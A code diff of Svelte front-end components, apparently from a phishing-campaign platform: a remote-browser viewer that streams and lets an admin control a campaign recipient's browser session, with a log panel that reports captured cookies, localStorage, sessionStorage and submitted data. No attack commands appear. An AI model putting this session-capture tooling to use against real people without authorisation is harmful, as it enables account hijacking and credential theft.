||||
<span class="text-gray-400"> · {Object.keys(entry.value.localStorage).length} localStorage</span>
|
||||
{/if}
|
||||
{#if entry.value?.sessionStorage}
|
||||
<span class="text-gray-400"> · {Object.keys(entry.value.sessionStorage).length} sessionStorage</span>
|
||||
{/if}
|
||||
<pre class="mt-1 text-xs text-purple-200 bg-gray-800 rounded p-1.5 overflow-x-auto max-h-40 overflow-y-auto select-text">{JSON.stringify(entry.value, null, 2)}</pre>
|
||||
{:else if entry.type === 'done'}
|
||||
<span class="text-gray-500">[{entry.time?.slice(11, 23)}]</span>
|
||||
<span class="text-green-400"> ✓ done</span>
|
||||
{:else}
|
||||
<span class="text-gray-500">[{entry.time?.slice(11, 23)}]</span>
|
||||
<span> {entry.message}</span>
|
||||
{#if entry.data !== undefined && entry.data !== null}
|
||||
<span class="text-cyan-300"> {JSON.stringify(entry.data)}</span>
|
||||
{/if}
|
||||
{/if}
|
||||
</div>
|
||||
{/each}
|
||||
{/if}
|
||||
</div>
|
||||
|
||||
<!-- Event injection panel (visible while running) -->
|
||||
{#if isRunning}
|
||||
<div class="border border-orange-500/30 rounded p-2 space-y-1.5 bg-gray-800/50">
|
||||
<p class="text-xs text-orange-400/70 font-medium">Inject event</p>
|
||||
<div class="flex gap-2">
|
||||
<input
|
||||
type="text"
|
||||
bind:value={injectEvent}
|
||||
placeholder="event name"
|
||||
class="w-32 px-2 py-1 text-xs rounded border border-gray-600 bg-gray-800 text-gray-200 font-mono focus:outline-none focus:ring-1 focus:ring-orange-500"
|
||||
on:keydown={(e) => { if (e.key === 'Enter') { e.preventDefault(); sendEvent(); } }}
|
||||
/>
|
||||
<input
|
||||
type="text"
|
||||
bind:value={injectData}
|
||||
placeholder="data JSON, e.g. {`{"username":"foo"}`}"
|
||||
class="flex-1 px-2 py-1 text-xs rounded border border-gray-600 bg-gray-800 text-gray-200 font-mono focus:outline-none focus:ring-1 focus:ring-orange-500"
|
||||
on:keydown={(e) => { if (e.key === 'Enter') { e.preventDefault(); sendEvent(); } }}
|
||||
/>
|
||||
<button
|
||||
type="button"
|
||||
class="px-3 py-1 text-xs bg-orange-600 hover:bg-orange-700 text-white rounded transition-colors whitespace-nowrap"
|
||||
on:click={sendEvent}
|
||||
>
|
||||
Send
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
{/if}
|
||||
|
||||
{#if !id}
|
||||
<p class="text-xs text-yellow-600 dark:text-yellow-400">
|
||||
Save the remote browser first to enable live test runs.
|
||||
</p>
|
||||
{/if}
|
||||
</div>
|
||||
{/if}
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Screenshot fullscreen modal -->
|
||||
{#if screenshotModalSrc}
|
||||
<!-- svelte-ignore a11y-click-events-have-key-events -->
|
||||
<!-- svelte-ignore a11y-no-static-element-interactions -->
|
||||
<div
|
||||
class="fixed inset-0 z-50 flex items-center justify-center bg-black/80 backdrop-blur-sm"
|
||||
on:click={() => { screenshotModalSrc = null; screenshotModalURL = ''; }}
|
||||
>
|
||||
<div
|
||||
class="relative max-w-[90vw] max-h-[90vh] flex flex-col items-center"
|
||||
on:click|stopPropagation
|
||||
>
|
||||
<div class="flex items-center justify-between w-full mb-2 px-1">
|
||||
<div class="flex flex-col min-w-0">
|
||||
<span class="text-teal-300 text-sm font-mono">{screenshotModalLabel}</span>
|
||||
{#if screenshotModalURL}
|
||||
<span class="text-gray-400 text-xs font-mono truncate" title={screenshotModalURL}>{screenshotModalURL}</span>
|
||||
{/if}
|
||||
</div>
|
||||
<button
|
||||
type="button"
|
||||
class="text-gray-400 hover:text-white transition-colors ml-4"
|
||||
on:click={() => { screenshotModalSrc = null; screenshotModalURL = ''; }}
|
||||
>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20" fill="currentColor" class="w-5 h-5">
|
||||
<path d="M6.28 5.22a.75.75 0 0 0-1.06 1.06L8.94 10l-3.72 3.72a.75.75 0 1 0 1.06 1.06L10 11.06l3.72 3.72a.75.75 0 1 0 1.06-1.06L11.06 10l3.72-3.72a.75.75 0 0 0-1.06-1.06L10 8.94 6.28 5.22Z" />
|
||||
</svg>
|
||||
</button>
|
||||
</div>
|
||||
<img
|
||||
src={screenshotModalSrc}
|
||||
alt={screenshotModalLabel}
|
||||
class="max-w-full max-h-[80vh] rounded shadow-2xl border border-gray-700"
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
{/if}
|
||||
|
||||
<RemoteBrowserStream
|
||||
bind:visible={streamVisible}
|
||||
crID={streamSessionID}
|
||||
controlMode={streamControlMode}
|
||||
{runLog}
|
||||
{isRunning}
|
||||
on:inject={(e) => {
|
||||
if (!ws || ws.readyState !== WebSocket.OPEN) return;
|
||||
const { event, data } = e.detail;
|
||||
ws.send(JSON.stringify({ event, data }));
|
||||
runLog = [...runLog, { type: 'sent', event, data, time: now() }];
|
||||
setTimeout(scrollLogToBottom, 0);
|
||||
}}
|
||||
/>
|
||||
@@ -0,0 +1,531 @@
|
||||
<script>
|
||||
import { onDestroy, createEventDispatcher } from 'svelte';
|
||||
import Modal from '$lib/components/Modal.svelte';
|
||||
|
||||
const dispatch = createEventDispatcher();
|
||||
|
||||
/** @type {string} Campaign-recipient ID */
|
||||
export let crID = '';
|
||||
/** @type {boolean} */
|
||||
export let visible = false;
|
||||
/** @type {boolean} Allow admin to send mouse/keyboard input */
|
||||
export let controlMode = false;
|
||||
/** @type {string} Recipient email shown in the toolbar */
|
||||
export let email = '';
|
||||
/** @type {Array<Record<string, any>>} Log entries from the script runner */
|
||||
export let runLog = [];
|
||||
/** @type {boolean} Whether the script is currently running */
|
||||
export let isRunning = false;
|
||||
|
||||
let canvas;
|
||||
let ws = null;
|
||||
let fps = 0;
|
||||
let frameCount = 0;
|
||||
let fpsInterval = null;
|
||||
let status = 'Connecting…';
|
||||
let sessionClosed = false;
|
||||
|
||||
let logPanelOpen = false;
|
||||
let logPanelEl;
|
||||
let injectEvent = '';
|
||||
let injectData = '';
|
||||
|
||||
$: if (logPanelEl && runLog) {
|
||||
setTimeout(() => { if (logPanelEl) logPanelEl.scrollTop = logPanelEl.scrollHeight; }, 0);
|
||||
}
|
||||
|
||||
function sendInject() {
|
||||
if (!injectEvent.trim()) return;
|
||||
let data;
|
||||
try { data = JSON.parse(injectData); } catch { data = injectData || null; }
|
||||
dispatch('inject', { event: injectEvent.trim(), data });
|
||||
injectEvent = '';
|
||||
injectData = '';
|
||||
}
|
||||
|
||||
// track the natural size of the remote browser so we can scale input coords
|
||||
let remoteWidth = 1280;
|
||||
let remoteHeight = 720;
|
||||
|
||||
// URL bar
|
||||
let currentURL = '';
|
||||
let urlBarValue = '';
|
||||
let urlBarFocused = false;
|
||||
|
||||
$: if (visible && crID) {
|
||||
openStream();
|
||||
}
|
||||
$: if (!visible) {
|
||||
closeStream();
|
||||
removeKeyListeners();
|
||||
}
|
||||
|
||||
// Attach window-level keyboard listeners when in control mode and visible.
|
||||
// Canvas-level events require the element to have focus; window-level events
|
||||
// fire regardless of which element is focused inside the modal.
|
||||
$: if (visible && controlMode) {
|
||||
addKeyListeners();
|
||||
} else {
|
||||
removeKeyListeners();
|
||||
}
|
||||
|
||||
let keyListenersAttached = false;
|
||||
|
||||
function addKeyListeners() {
|
||||
if (keyListenersAttached) return;
|
||||
window.addEventListener('keydown', onKeyDown, true);
|
||||
window.addEventListener('keyup', onKeyUp, true);
|
||||
keyListenersAttached = true;
|
||||
}
|
||||
|
||||
function removeKeyListeners() {
|
||||
if (!keyListenersAttached) return;
|
||||
window.removeEventListener('keydown', onKeyDown, true);
|
||||
window.removeEventListener('keyup', onKeyUp, true);
|
||||
keyListenersAttached = false;
|
||||
}
|
||||
|
||||
function openStream() {
|
||||
if (ws) return;
|
||||
sessionClosed = false;
|
||||
status = 'Connecting…';
|
||||
const proto = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
|
||||
const url = `${proto}//${window.location.host}/api/v1/remote-browser/live/${crID}/stream${controlMode ? '?mode=control' : ''}`;
|
||||
ws = new WebSocket(url);
|
||||
ws.binaryType = 'arraybuffer';
|
||||
|
||||
ws.onopen = () => {
|
||||
status = 'Connected';
|
||||
fpsInterval = setInterval(() => {
|
||||
fps = frameCount;
|
||||
frameCount = 0;
|
||||
}, 1000);
|
||||
};
|
||||
|
||||
ws.onmessage = (ev) => {
|
||||
try {
|
||||
const msg = JSON.parse(typeof ev.data === 'string' ? ev.data : new TextDecoder().decode(ev.data));
|
||||
if (msg.type === 'frame') {
|
||||
if (msg.width) remoteWidth = msg.width;
|
||||
if (msg.height) remoteHeight = msg.height;
|
||||
renderFrame(msg.data);
|
||||
frameCount++;
|
||||
} else if (msg.type === 'url') {
|
||||
currentURL = msg.value;
|
||||
if (!urlBarFocused) urlBarValue = msg.value;
|
||||
} else if (msg.type === 'closed') {
|
||||
status = 'Session ended';
|
||||
sessionClosed = true;
|
||||
closeStream();
|
||||
}
|
||||
} catch {
|
||||
// ignore parse errors
|
||||
}
|
||||
};
|
||||
|
||||
ws.onerror = () => {
|
||||
status = 'Connection error';
|
||||
};
|
||||
|
||||
ws.onclose = () => {
|
||||
if (!sessionClosed) status = isRunning ? 'Disconnected' : 'Session ended';
|
||||
clearInterval(fpsInterval);
|
||||
ws = null;
|
||||
};
|
||||
}
|
||||
|
||||
function renderFrame(base64jpeg) {
|
||||
if (!canvas) return;
|
||||
const img = new Image();
|
||||
img.onload = () => {
|
||||
const ctx = canvas.getContext('2d');
|
||||
// Only resize when dimensions change — resizing always clears the canvas
|
||||
// and flushes the GPU texture even when the value is identical.
|
||||
if (canvas.width !== img.naturalWidth) canvas.width = img.naturalWidth;
|
||||
if (canvas.height !== img.naturalHeight) canvas.height = img.naturalHeight;
|
||||
ctx.drawImage(img, 0, 0);
|
||||
};
|
||||
img.src = 'data:image/jpeg;base64,' + base64jpeg;
|
||||
}
|
||||
|
||||
function closeStream() {
|
||||
if (ws && ws.readyState <= WebSocket.OPEN) {
|
||||
ws.close();
|
||||
}
|
||||
ws = null;
|
||||
clearInterval(fpsInterval);
|
||||
fps = 0;
|
||||
currentURL = '';
|
||||
urlBarValue = '';
|
||||
}
|
||||
|
||||
function navigateTo(url) {
|
||||
if (!url) return;
|
||||
if (!/^https?:\/\//i.test(url)) url = 'https://' + url;
|
||||
sendInput({ type: 'navigate', url });
|
||||
urlBarValue = url;
|
||||
urlBarFocused = false;
|
||||
}
|
||||
|
||||
function navigateBack() {
|
||||
sendInput({ type: 'back' });
|
||||
}
|
||||
|
||||
function navigateForward() {
|
||||
sendInput({ type: 'forward' });
|
||||
}
|
||||
|
||||
// Input forwarding (control mode only)
|
||||
function sendInput(msg) {
|
||||
if (!ws || ws.readyState !== WebSocket.OPEN) return;
|
||||
ws.send(JSON.stringify(msg));
|
||||
}
|
||||
|
||||
function canvasCoords(e) {
|
||||
if (!canvas) return { x: 0, y: 0 };
|
||||
const rect = canvas.getBoundingClientRect();
|
||||
const scaleX = remoteWidth / rect.width;
|
||||
const scaleY = remoteHeight / rect.height;
|
||||
return {
|
||||
x: Math.round((e.clientX - rect.left) * scaleX),
|
||||
y: Math.round((e.clientY - rect.top) * scaleY)
|
||||
};
|
||||
}
|
||||
|
||||
function onMouseMove(e) {
|
||||
if (!controlMode) return;
|
||||
const { x, y } = canvasCoords(e);
|
||||
sendInput({ type: 'mousemove', x, y });
|
||||
}
|
||||
|
||||
function onMouseDown(e) {
|
||||
if (!controlMode) return;
|
||||
e.preventDefault();
|
||||
const { x, y } = canvasCoords(e);
|
||||
sendInput({ type: 'mousedown', x, y, button: e.button === 2 ? 'right' : 'left' });
|
||||
}
|
||||
|
||||
function onMouseUp(e) {
|
||||
if (!controlMode) return;
|
||||
const { x, y } = canvasCoords(e);
|
||||
sendInput({ type: 'mouseup', x, y, button: e.button === 2 ? 'right' : 'left' });
|
||||
}
|
||||
|
||||
function onWheel(e) {
|
||||
if (!controlMode) return;
|
||||
e.preventDefault();
|
||||
const { x, y } = canvasCoords(e);
|
||||
sendInput({ type: 'scroll', x, y, deltaX: e.deltaX, deltaY: e.deltaY });
|
||||
}
|
||||
|
||||
function mods(e) {
|
||||
return (e.altKey ? 1 : 0) | (e.ctrlKey ? 2 : 0) | (e.metaKey ? 4 : 0) | (e.shiftKey ? 8 : 0);
|
||||
}
|
||||
|
||||
// charText is the Unicode text a keydown should insert:
|
||||
// - Enter → "\r" (CDP char event expected per chromedp kb package)
|
||||
// - single printable with no Ctrl/Meta → the character itself
|
||||
// - everything else (arrows, F-keys, Ctrl+X shortcuts, …) → ""
|
||||
function charText(e) {
|
||||
if (e.ctrlKey || e.metaKey) return '';
|
||||
if (e.key === 'Enter') return '\r';
|
||||
if (e.key.length === 1) return e.key;
|
||||
return '';
|
||||
}
|
||||
|
||||
function isLocalInputFocused() {
|
||||
const tag = document.activeElement?.tagName?.toLowerCase();
|
||||
return tag === 'input' || tag === 'textarea' || tag === 'select';
|
||||
}
|
||||
|
||||
function onKeyDown(e) {
|
||||
if (!visible || !controlMode) return;
|
||||
if (e.key === 'Escape') return;
|
||||
if (urlBarFocused || isLocalInputFocused()) return;
|
||||
|
||||
// Intercept Ctrl+V / Cmd+V — read clipboard directly because
|
||||
// e.preventDefault() below would kill the native paste event.
|
||||
if ((e.ctrlKey || e.metaKey) && e.key.toLowerCase() === 'v') {
|
||||
e.preventDefault();
|
||||
e.stopPropagation();
|
||||
navigator.clipboard.readText().then((text) => {
|
||||
if (text) sendInput({ type: 'paste', text });
|
||||
}).catch(() => {
|
||||
// Clipboard API denied — fall back to forwarding Ctrl+V as a shortcut
|
||||
sendInput({ type: 'keydown', key: e.key, code: e.code, keyCode: e.keyCode, modifiers: mods(e), charText: '' });
|
||||
});
|
||||
return;
|
||||
}
|
||||
|
||||
e.preventDefault();
|
||||
e.stopPropagation();
|
||||
sendInput({
|
||||
type: 'keydown',
|
||||
key: e.key,
|
||||
code: e.code,
|
||||
keyCode: e.keyCode,
|
||||
modifiers: mods(e),
|
||||
charText: charText(e)
|
||||
});
|
||||
}
|
||||
|
||||
function onKeyUp(e) {
|
||||
if (!visible || !controlMode) return;
|
||||
if (e.key === 'Escape') return;
|
||||
if (urlBarFocused || isLocalInputFocused()) return;
|
||||
e.preventDefault();
|
||||
e.stopPropagation();
|
||||
sendInput({ type: 'keyup', key: e.key, code: e.code, keyCode: e.keyCode, modifiers: mods(e) });
|
||||
}
|
||||
|
||||
function onClose() {
|
||||
removeKeyListeners();
|
||||
closeStream();
|
||||
visible = false;
|
||||
}
|
||||
|
||||
onDestroy(() => {
|
||||
removeKeyListeners();
|
||||
closeStream();
|
||||
});
|
||||
</script>
|
||||
|
||||
<Modal
|
||||
headerText={controlMode ? 'Remote Browser: Control' : 'Remote Browser: View'}
|
||||
bind:visible
|
||||
onClose={onClose}
|
||||
fullscreen
|
||||
>
|
||||
<div class="flex flex-col h-full pt-4 pb-4" style="min-height: calc(100vh - 80px);">
|
||||
<!-- Toolbar -->
|
||||
<div class="flex flex-col gap-2 mb-3 flex-shrink-0">
|
||||
<!-- Status row -->
|
||||
<div class="flex items-center gap-4">
|
||||
<span class="text-sm text-gray-500 dark:text-gray-400">
|
||||
Status: <span class="font-medium"
|
||||
class:text-green-500={status === 'Connected'}
|
||||
class:text-red-500={status.includes('error') || status.includes('end') || status.includes('Disconnected')}
|
||||
>{status}</span>
|
||||
</span>
|
||||
{#if email}
|
||||
<span class="text-sm text-gray-500 dark:text-gray-400">{email}</span>
|
||||
{/if}
|
||||
{#if status === 'Connected'}
|
||||
<span class="text-sm text-gray-500 dark:text-gray-400">{fps} fps</span>
|
||||
{/if}
|
||||
<button
|
||||
type="button"
|
||||
on:click={() => (logPanelOpen = !logPanelOpen)}
|
||||
class="ml-auto flex items-center gap-1.5 px-2 py-0.5 text-xs rounded border transition-colors {logPanelOpen
|
||||
? 'bg-gray-700 border-gray-500 text-gray-200'
|
||||
: 'border-gray-600 text-gray-400 hover:text-gray-200 hover:border-gray-500'}"
|
||||
title="Toggle script log"
|
||||
>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16" fill="currentColor" class="w-3 h-3">
|
||||
<path fill-rule="evenodd" d="M2 4a1 1 0 0 1 1-1h10a1 1 0 1 1 0 2H3a1 1 0 0 1-1-1ZM2 8a1 1 0 0 1 1-1h10a1 1 0 1 1 0 2H3a1 1 0 0 1-1-1ZM3 11a1 1 0 1 0 0 2h6a1 1 0 1 0 0-2H3Z" clip-rule="evenodd" />
|
||||
</svg>
|
||||
Logs
|
||||
{#if isRunning}
|
||||
<span class="inline-block w-1.5 h-1.5 rounded-full bg-green-400 animate-pulse"></span>
|
||||
{/if}
|
||||
</button>
|
||||
</div>
|
||||
<!-- URL bar row -->
|
||||
<div class="flex items-center gap-1">
|
||||
<button
|
||||
type="button"
|
||||
disabled={!controlMode}
|
||||
on:click={navigateBack}
|
||||
class="p-1.5 rounded text-gray-500 dark:text-gray-400 hover:bg-gray-100 dark:hover:bg-gray-700 disabled:opacity-30 disabled:cursor-default transition-colors"
|
||||
title="Back"
|
||||
>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20" fill="currentColor" class="w-4 h-4">
|
||||
<path fill-rule="evenodd" d="M17 10a.75.75 0 0 1-.75.75H5.612l4.158 3.96a.75.75 0 1 1-1.04 1.08l-5.5-5.25a.75.75 0 0 1 0-1.08l5.5-5.25a.75.75 0 1 1 1.04 1.08L5.612 9.25H16.25A.75.75 0 0 1 17 10Z" clip-rule="evenodd" />
|
||||
</svg>
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
disabled={!controlMode}
|
||||
on:click={navigateForward}
|
||||
class="p-1.5 rounded text-gray-500 dark:text-gray-400 hover:bg-gray-100 dark:hover:bg-gray-700 disabled:opacity-30 disabled:cursor-default transition-colors"
|
||||
title="Forward"
|
||||
>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20" fill="currentColor" class="w-4 h-4">
|
||||
<path fill-rule="evenodd" d="M3 10a.75.75 0 0 1 .75-.75h10.638L10.23 5.29a.75.75 0 1 1 1.04-1.08l5.5 5.25a.75.75 0 0 1 0 1.08l-5.5 5.25a.75.75 0 1 1-1.04-1.08l4.158-3.96H3.75A.75.75 0 0 1 3 10Z" clip-rule="evenodd" />
|
||||
</svg>
|
||||
</button>
|
||||
<!-- svelte-ignore a11y-click-events-have-key-events -->
|
||||
<!-- svelte-ignore a11y-no-static-element-interactions -->
|
||||
<div
|
||||
class="flex-1 flex items-center rounded border {controlMode
|
||||
? 'border-gray-300 dark:border-gray-600 bg-white dark:bg-gray-800 cursor-text'
|
||||
: 'border-gray-200 dark:border-gray-700 bg-gray-50 dark:bg-gray-800/50'}"
|
||||
on:click={() => { if (controlMode) document.getElementById('rb-url-input')?.select(); }}
|
||||
>
|
||||
<input
|
||||
id="rb-url-input"
|
||||
type="text"
|
||||
bind:value={urlBarValue}
|
||||
on:focus={() => { urlBarFocused = true; }}
|
||||
on:blur={() => { urlBarFocused = false; urlBarValue = currentURL; }}
|
||||
on:keydown={(e) => {
|
||||
if (e.key === 'Enter') { e.preventDefault(); navigateTo(urlBarValue); }
|
||||
if (e.key === 'Escape') { e.preventDefault(); urlBarValue = currentURL; e.target.blur(); }
|
||||
e.stopPropagation();
|
||||
}}
|
||||
readonly={!controlMode}
|
||||
class="flex-1 px-2.5 py-1 text-sm font-mono bg-transparent outline-none text-gray-800 dark:text-gray-200 {!controlMode ? 'cursor-default select-text' : ''}"
|
||||
placeholder="about:blank"
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Canvas -->
|
||||
<!-- svelte-ignore a11y-no-noninteractive-element-interactions -->
|
||||
<div
|
||||
class="flex-1 overflow-hidden flex items-center justify-center bg-black rounded relative"
|
||||
class:cursor-crosshair={controlMode}
|
||||
>
|
||||
<canvas
|
||||
bind:this={canvas}
|
||||
class="max-w-full max-h-full object-contain"
|
||||
style={controlMode ? 'cursor: crosshair;' : ''}
|
||||
on:mousemove={onMouseMove}
|
||||
on:mousedown={onMouseDown}
|
||||
on:mouseup={onMouseUp}
|
||||
on:wheel|nonpassive={onWheel}
|
||||
on:contextmenu|preventDefault
|
||||
/>
|
||||
|
||||
{#if logPanelOpen}
|
||||
<div
|
||||
class="absolute bottom-0 left-0 right-0 flex flex-col bg-gray-950/95 border-t border-gray-700 rounded-b"
|
||||
style="height: 13rem; max-height: 50%;"
|
||||
>
|
||||
<div class="flex items-center justify-between px-2.5 py-1 border-b border-gray-700/60 flex-shrink-0">
|
||||
<span class="text-xs font-mono text-gray-400">Script Log</span>
|
||||
<button
|
||||
type="button"
|
||||
on:click={() => (logPanelOpen = false)}
|
||||
class="text-gray-500 hover:text-gray-300 transition-colors"
|
||||
title="Close log"
|
||||
>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16" fill="currentColor" class="w-3.5 h-3.5">
|
||||
<path d="M5.28 4.22a.75.75 0 0 0-1.06 1.06L6.94 8l-2.72 2.72a.75.75 0 1 0 1.06 1.06L8 9.06l2.72 2.72a.75.75 0 1 0 1.06-1.06L9.06 8l2.72-2.72a.75.75 0 0 0-1.06-1.06L8 6.94 5.28 4.22Z" />
|
||||
</svg>
|
||||
</button>
|
||||
</div>
|
||||
<div
|
||||
bind:this={logPanelEl}
|
||||
class="flex-1 overflow-y-auto font-mono text-xs text-gray-200 p-2 space-y-0.5 select-text"
|
||||
>
|
||||
{#if runLog.length === 0}
|
||||
<span class="text-gray-500">No events yet.</span>
|
||||
{:else}
|
||||
{#each runLog as entry}
|
||||
<div
|
||||
class="leading-5 {entry.type === 'event'
|
||||
? 'text-blue-300'
|
||||
: entry.type === 'sent'
|
||||
? 'text-orange-300'
|
||||
: entry.type === 'capture'
|
||||
? 'text-purple-300'
|
||||
: entry.type === 'submit'
|
||||
? 'text-amber-300'
|
||||
: entry.type === 'info'
|
||||
? 'text-sky-300'
|
||||
: entry.type === 'screenshot'
|
||||
? 'text-teal-300'
|
||||
: entry.type === 'error'
|
||||
? 'text-red-400'
|
||||
: entry.type === 'done'
|
||||
? 'text-green-400'
|
||||
: 'text-gray-400'}"
|
||||
>
|
||||
{#if entry.type === 'event'}
|
||||
<span class="text-gray-500">[{entry.time?.slice(11, 23)}]</span>
|
||||
<span class="text-blue-400"> emit </span>
|
||||
<span class="text-yellow-400">{entry.key}</span>
|
||||
<span class="text-gray-300"> = </span>
|
||||
<span>{JSON.stringify(entry.value)}</span>
|
||||
{:else if entry.type === 'sent'}
|
||||
<span class="text-gray-500">[{entry.time?.slice(11, 23)}]</span>
|
||||
<span class="text-orange-400"> → {entry.event}</span>
|
||||
{#if entry.data !== null && entry.data !== undefined && entry.data !== ''}
|
||||
<span class="text-gray-300"> data=</span><span>{JSON.stringify(entry.data)}</span>
|
||||
{/if}
|
||||
{:else if entry.type === 'screenshot'}
|
||||
<span class="text-gray-500">[{entry.time?.slice(11, 23)}]</span>
|
||||
<span class="text-teal-400"> 📷 {entry.key || 'screenshot'}</span>
|
||||
{#if entry.url}
|
||||
<span class="text-gray-500 ml-1 truncate">{entry.url}</span>
|
||||
{/if}
|
||||
{:else if entry.type === 'info'}
|
||||
<span class="text-gray-500">[{entry.time?.slice(11, 23)}]</span>
|
||||
<span class="text-sky-400"> ℹ info</span>
|
||||
<span class="text-sky-200 ml-1">{entry.message}</span>
|
||||
{:else if entry.type === 'submit'}
|
||||
<span class="text-gray-500">[{entry.time?.slice(11, 23)}]</span>
|
||||
<span class="text-amber-400"> ⬆ submitData</span>
|
||||
<pre class="mt-1 text-xs text-amber-200 bg-gray-800 rounded p-1.5 overflow-x-auto max-h-40 overflow-y-auto select-text">{JSON.stringify(entry.value, null, 2)}</pre>
|
||||
{:else if entry.type === 'capture'}
|
||||
<span class="text-gray-500">[{entry.time?.slice(11, 23)}]</span>
|
||||
<span class="text-purple-400"> ★ capture</span>
|
||||
{#if entry.value?.cookies}
|
||||
<span class="text-gray-400"> · {entry.value.cookies.length} cookies</span>
|
||||
{/if}
|
||||
{#if entry.value?.localStorage}
|
||||
<span class="text-gray-400"> · {Object.keys(entry.value.localStorage).length} localStorage</span>
|
||||
{/if}
|
||||
{:else if entry.type === 'done'}
|
||||
<span class="text-gray-500">[{entry.time?.slice(11, 23)}]</span>
|
||||
<span class="text-green-400"> ✓ done</span>
|
||||
{:else}
|
||||
<span class="text-gray-500">[{entry.time?.slice(11, 23)}]</span>
|
||||
<span> {entry.message}</span>
|
||||
{#if entry.data !== undefined && entry.data !== null}
|
||||
<span class="text-cyan-300"> {JSON.stringify(entry.data)}</span>
|
||||
{/if}
|
||||
{/if}
|
||||
</div>
|
||||
{/each}
|
||||
{/if}
|
||||
</div>
|
||||
|
||||
{#if isRunning}
|
||||
<div class="border-t border-gray-700/60 px-2 py-1.5 flex-shrink-0 flex gap-2 items-center">
|
||||
<input
|
||||
type="text"
|
||||
bind:value={injectEvent}
|
||||
placeholder="event name"
|
||||
class="w-28 px-2 py-0.5 text-xs rounded border border-gray-600 bg-gray-800 text-gray-200 font-mono focus:outline-none focus:ring-1 focus:ring-orange-500"
|
||||
on:keydown={(e) => { if (e.key === 'Enter') { e.preventDefault(); sendInject(); } e.stopPropagation(); }}
|
||||
/>
|
||||
<input
|
||||
type="text"
|
||||
bind:value={injectData}
|
||||
placeholder='data JSON'
|
||||
class="flex-1 px-2 py-0.5 text-xs rounded border border-gray-600 bg-gray-800 text-gray-200 font-mono focus:outline-none focus:ring-1 focus:ring-orange-500"
|
||||
on:keydown={(e) => { if (e.key === 'Enter') { e.preventDefault(); sendInject(); } e.stopPropagation(); }}
|
||||
/>
|
||||
<button
|
||||
type="button"
|
||||
class="px-2.5 py-0.5 text-xs bg-orange-600 hover:bg-orange-700 text-white rounded transition-colors whitespace-nowrap"
|
||||
on:click={sendInject}
|
||||
>
|
||||
Send
|
||||
</button>
|
||||
</div>
|
||||
{/if}
|
||||
</div>
|
||||
{/if}
|
||||
</div>
|
||||
|
||||
{#if controlMode}
|
||||
<p class="text-xs text-gray-400 mt-2 flex-shrink-0">
|
||||
Mouse and keyboard are captured while this modal is open.
|
||||
</p>
|
||||
{/if}
|
||||
</div>
|
||||
</Modal>
|
||||
@@ -26,54 +26,43 @@
|
||||
activeFormElement.set(dropdownId); // set this as active, closing others
|
||||
|
||||
const viewportHeight = window.innerHeight;
|
||||
const buffer = 20; // extra space to ensure some padding from viewport edges
|
||||
const minHeight = 64; // minimum dropdown height
|
||||
const maxHeight = 400; // maximum dropdown height
|
||||
const viewportWidth = window.innerWidth;
|
||||
const buffer = 20;
|
||||
const minHeight = 64;
|
||||
const maxHeight = 400;
|
||||
const gap = 8;
|
||||
|
||||
let clickViewportY, pageX, pageY;
|
||||
|
||||
// handle both mouse and keyboard events
|
||||
if (e.clientY !== undefined && e.pageX !== undefined) {
|
||||
// mouse event
|
||||
clickViewportY = e.clientY;
|
||||
pageX = e.pageX;
|
||||
pageY = e.pageY;
|
||||
// use viewport (fixed) coordinates so positioning is independent of DOM ancestors
|
||||
let x, y;
|
||||
if (e.clientX !== undefined && e.clientY !== undefined) {
|
||||
x = e.clientX;
|
||||
y = e.clientY;
|
||||
} else {
|
||||
// keyboard event - use button position
|
||||
const buttonRect = buttonRef.getBoundingClientRect();
|
||||
clickViewportY = buttonRect.top;
|
||||
pageX = buttonRect.left + window.scrollX;
|
||||
pageY = buttonRect.top + window.scrollY;
|
||||
x = buttonRect.left + buttonRect.width / 2;
|
||||
y = buttonRect.top;
|
||||
}
|
||||
|
||||
// calculate available space above and below
|
||||
const spaceAbove = clickViewportY - buffer;
|
||||
const spaceBelow = viewportHeight - clickViewportY - buffer;
|
||||
|
||||
// choose position based on available space, with preference for below
|
||||
const spaceAbove = y - buffer;
|
||||
const spaceBelow = viewportHeight - y - buffer;
|
||||
const shouldShowAbove = spaceBelow < minHeight && spaceAbove > spaceBelow;
|
||||
const availableSpace = shouldShowAbove ? spaceAbove : spaceBelow;
|
||||
|
||||
// calculate optimal height within bounds
|
||||
const optimalHeight = Math.min(Math.max(availableSpace, minHeight), maxHeight);
|
||||
|
||||
// find position
|
||||
const gap = 8; // small gap between menu and cursor/button
|
||||
menuX = pageX - 256;
|
||||
const menuWidth = 256;
|
||||
const spaceOnRight = viewportWidth - x - buffer;
|
||||
menuX = spaceOnRight >= menuWidth ? x : x - menuWidth;
|
||||
menuX = Math.max(buffer, Math.min(menuX, viewportWidth - menuWidth - buffer));
|
||||
|
||||
if (shouldShowAbove) {
|
||||
// calculate actual menu height by temporarily showing it
|
||||
menuRef.style.visibility = 'hidden';
|
||||
menuRef.style.display = 'block';
|
||||
const actualMenuHeight = menuRef.scrollHeight;
|
||||
menuRef.style.display = '';
|
||||
menuRef.style.visibility = '';
|
||||
|
||||
// position above by moving up by the actual menu height
|
||||
menuY = pageY - actualMenuHeight - gap;
|
||||
menuY = y - actualMenuHeight - gap;
|
||||
} else {
|
||||
// for below positioning, use original click/button position
|
||||
menuY = pageY + gap;
|
||||
menuY = y + gap;
|
||||
}
|
||||
|
||||
menuRef.style = `left: ${menuX}px; top: ${menuY}px; max-height: ${optimalHeight}px`;
|
||||
@@ -160,7 +149,7 @@
|
||||
|
||||
<div
|
||||
bind:this={menuRef}
|
||||
class="absolute bg-white dark:bg-gray-900/90 drop-shadow-md dark:shadow-gray-900/50 border dark:border-gray-700/60 z-20 w-64 rounded-md overflow-y-scroll transition-colors duration-200 {scrollBarClassesVertical}"
|
||||
